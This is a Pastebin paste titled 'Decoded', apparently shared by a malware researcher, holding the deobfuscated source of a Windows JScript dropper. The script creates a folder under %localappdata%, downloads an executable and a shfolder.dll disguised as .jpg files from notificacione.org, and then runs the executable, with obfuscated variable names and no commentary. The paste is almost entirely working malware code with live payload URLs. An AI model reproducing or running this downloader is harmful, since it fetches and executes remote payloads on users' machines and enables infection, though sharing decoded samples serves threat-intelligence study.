Advertisement
James_inthe_box

Decoded

Apr 16th, 2018
424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.51 KB | None | 0 0
  1. decodes script:
  2. WScript.Sleep(10000);
  3. var xNiDXxECHG7FFA8CBALJJEFN23NK1JALBF82AB = WScript.CreateObject("WScript.Shell");
  4. FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L = xNiDXxECHG7FFA8CBALJJEFN23NK1JALBF82AB.ExpandEnvironmentStrings("%localappdata%");
  5. function zrqrANFbI1A97N413ANAMH4739CG978DB207LF(text) {
  6. try {
  7. var fso = new ActiveXObject("Scrpting.FileSystemObject");
  8. var fh = fso.OpenTextFile(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\remind", 8, true, 0);
  9. fh.WriteLine(text);
  10. fh.Close();
  11. } catch (e) {
  12. }
  13. }
  14. function FKFMCliHK6KNC5II6G10KF2B7N7HBE9B6LAFEF(rVAvpOhvFDGA0EIAN0JCHG3C91325II0J2F85D, FXInduoM0CI7J0LNELCFN8M0IMICN6KFJH17FN) {
  15. try{
  16. MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30 = new ActiveXObject('MSXML2.XMLHTTP');
  17. fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8 = new ActiveXObject("ADODB.Stream");
  18.  
  19. MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30.Open("GET", rVAvpOhvFDGA0EIAN0JCHG3C91325II0J2F85D, false);
  20. MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30.Send();
  21. } catch (e) {
  22. zrqrANFbI1A97N413ANAMH4739CG978DB207LF("eulAClxA960A3C58AMLGMK34629LAMF0886HN0 -> " + e);
  23. }
  24.  
  25. fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.type = 1 ////binary
  26. fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.open();
  27. fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.write(MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30.responseBody);
  28. fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.savetofile(FXInduoM0CI7J0LNELCFN8M0IMICN6KFJH17FN, 2); ////overwrite
  29. }
  30.  
  31. function sdgHuidvFI6I34FALFBMDMM6C0DN8IK2M2B837(n) {
  32. n = n.toString(16);
  33. if (n.length == 1) n = "0" + n;
  34. n = "%" + n;
  35. return unescape(n);
  36. }
  37. var xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 = "xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4";
  38. var ZlXNHCXf2MN0AMA39KD80NFN630N1NMAE90NNE = "ehNsAdxo9K2971173ICE7M7ELI7BGK9II6AFCN"+".exe";
  39. var FjVCCprH1H8EMMI0CC52JCHHM75026L8MHL7DH = "shfolder.dll";
  40. var pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0;
  41. var AVIFUpavLAIH07EBK62NFAEGK60LNN77A8087H;
  42. var CZuCduoH5ECCI0LIAB0C3K4CJG2NDDIG6JEG6N;
  43. pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 = false;
  44. var brMICAVS9GD32B131701LG023M90FBEA6H4233 = new ActiveXObject("Scripting.FileSystemObject");
  45. if(brMICAVS9GD32B131701LG023M90FBEA6H4233.FileExists(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\naaSbHUZ8LH3N599G6M0BF0D0F2GE264JJBF08")){
  46. }
  47. else{
  48. try
  49. {
  50. var fso = new ActiveXObject("Scripting.FileSystemObject");
  51. fso.CreateFolder(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4);
  52. var ZzdfMeXr2453G2A9HF7N03H42KFINMIN8ENFKL = new ActiveXObject("Scripting.FileSystemObject");
  53. var FbsoSFqF0HB78HME007MF25DG1HDL0D462J4GG = ZzdfMeXr2453G2A9HF7N03H42KFINMIN8ENFKL.CreateTextFile(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\naaSbHUZ8LH3N599G6M0BF0D0F2GE264JJBF08", true);
  54. FbsoSFqF0HB78HME007MF25DG1HDL0D462J4GG.WriteLine('ONngmpISMG93N77EFDA5KLCL41KBMF792ND0GE');
  55. FbsoSFqF0HB78HME007MF25DG1HDL0D462J4GG.Close();
  56. }
  57. catch (ex)
  58. {
  59. }
  60. var CZuCduoH5ECCI0LIAB0C3K4CJG2NDDIG6JEG6N = "http://notificacione.org/hooponoponoh0/aux2.jpg";
  61. try
  62. {
  63. if (pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 == false) {
  64. FKFMCliHK6KNC5II6G10KF2B7N7HBE9B6LAFEF(CZuCduoH5ECCI0LIAB0C3K4CJG2NDDIG6JEG6N, FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 + "\\" + ZlXNHCXf2MN0AMA39KD80NFN630N1NMAE90NNE);
  65. }
  66. }
  67. catch (ex)
  68. {
  69. }
  70. AVIFUpavLAIH07EBK62NFAEGK60LNN77A8087H = "http://notificacione.org/hooponoponoh0/hhhHHHZ3rRR1000.jpg";
  71. try
  72. {
  73. if (pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 == false) {
  74. FKFMCliHK6KNC5II6G10KF2B7N7HBE9B6LAFEF(AVIFUpavLAIH07EBK62NFAEGK60LNN77A8087H, FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 + "\\" + FjVCCprH1H8EMMI0CC52JCHHM75026L8MHL7DH);
  75. pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 == true;
  76. }
  77. }
  78. catch (ex)
  79. {
  80. }
  81. WScript.Sleep(3000);
  82. var wshShell = new ActiveXObject("WScript.Shell");
  83. WScript.Sleep(5900);
  84. wshShell.Exec(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 + "\\" + ZlXNHCXf2MN0AMA39KD80NFN630N1NMAE90NNE );
  85. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement